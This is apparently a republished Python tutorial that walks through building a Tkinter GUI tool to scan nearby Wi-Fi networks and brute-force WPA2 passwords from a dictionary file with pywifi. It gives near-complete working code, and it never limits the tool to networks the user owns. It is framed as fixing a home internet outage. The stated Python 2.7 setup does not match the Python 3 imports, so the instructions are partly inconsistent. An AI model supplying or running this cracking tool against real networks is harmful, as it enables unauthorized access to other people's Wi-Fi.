Information Security 9 min read

Python WiFi Password Cracking Tool Using pywifi

This article demonstrates how to build a Python GUI application that scans nearby Wi‑Fi networks, reads a password dictionary, and attempts to brute‑force Wi‑Fi credentials using the pywifi library, providing step‑by‑step code, environment setup, and execution results.

Python Programming Learning Circle
Python Programming Learning Circle
Python Programming Learning Circle
Python WiFi Password Cracking Tool Using pywifi

The author describes a practical scenario where a home internet outage prompts the creation of a Wi‑Fi password cracking tool using Python. By leveraging the pywifi module, the script can scan available networks, load a password dictionary, and iteratively test each password until a successful connection is made.

Idea : Loop through a list of candidate passwords for a given SSID, disconnect on failure, and stop when the connection succeeds.

Environment Preparation :

Python 2.7

pywifi module

Password dictionary file

Import Modules :

<code>from pywifi import *</code>

Dictionary Preparation : A simple text file containing common Wi‑Fi passwords (one per line) is used as the brute‑force source.

Full GUI Code (Tkinter based):

<code># coding:utf-8
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox

class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        self.get_value = StringVar()
        self.get_wifi_value = StringVar()
        self.get_wifimm_value = StringVar()
        self.wifi = pywifi.PyWiFi()
        self.iface = self.wifi.interfaces()[0]
        self.iface.disconnect()
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    def __str__(self):
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
    def set_init_window(self):
        self.init_window_name.title("WIFI破解工具")
        self.init_window_name.geometry('+500+200')
        labelframe = LabelFrame(width=400, height=200, text="配置")
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
        self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)
        # ... (UI elements omitted for brevity) ...
    def scans_wifi_list(self):
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        scanres = self.iface.scan_results()
        self.show_scans_wifi_list(scanres)
        return scanres
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", 'end', values=(index+1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        self.pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = self.pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                if self.bool1:
                    self.res = "===正确=== wifi名:%s 匹配密码:%s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo('提示', '破解成功!!!')
                    print(self.res)
                    break
                else:
                    self.res = "---错误--- wifi名:%s 匹配密码:%s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                time.sleep(3)
            except:
                continue
    def connect(self, pwd_Str, wifi_ssid):
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid
        self.profile.auth = const.AUTH_ALG_OPEN
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
        self.profile.cipher = const.CIPHER_TYPE_CCMP
        self.profile.key = pwd_Str
        self.iface.remove_all_network_profiles()
        self.tmp_profile = self.iface.add_network_profile(self.profile)
        self.iface.connect(self.tmp_profile)
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK

def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    ui.set_init_window()
    init_window.mainloop()

gui_start()
</code>

The script provides a graphical interface to select a password file, display scanned Wi‑Fi networks, and launch the cracking process, reporting success or failure for each attempted password.

Result : After running the program, the user can see the GUI, select a target network, load a dictionary, and observe the cracking outcome as shown in the accompanying screenshots.

GUIPythonnetwork securitypywifiwifi cracking
Python Programming Learning Circle
Written by

Python Programming Learning Circle

A global community of Chinese Python developers offering technical articles, columns, original video tutorials, and problem sets. Topics include web full‑stack development, web scraping, data analysis, natural language processing, image processing, machine learning, automated testing, DevOps automation, and big data.

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.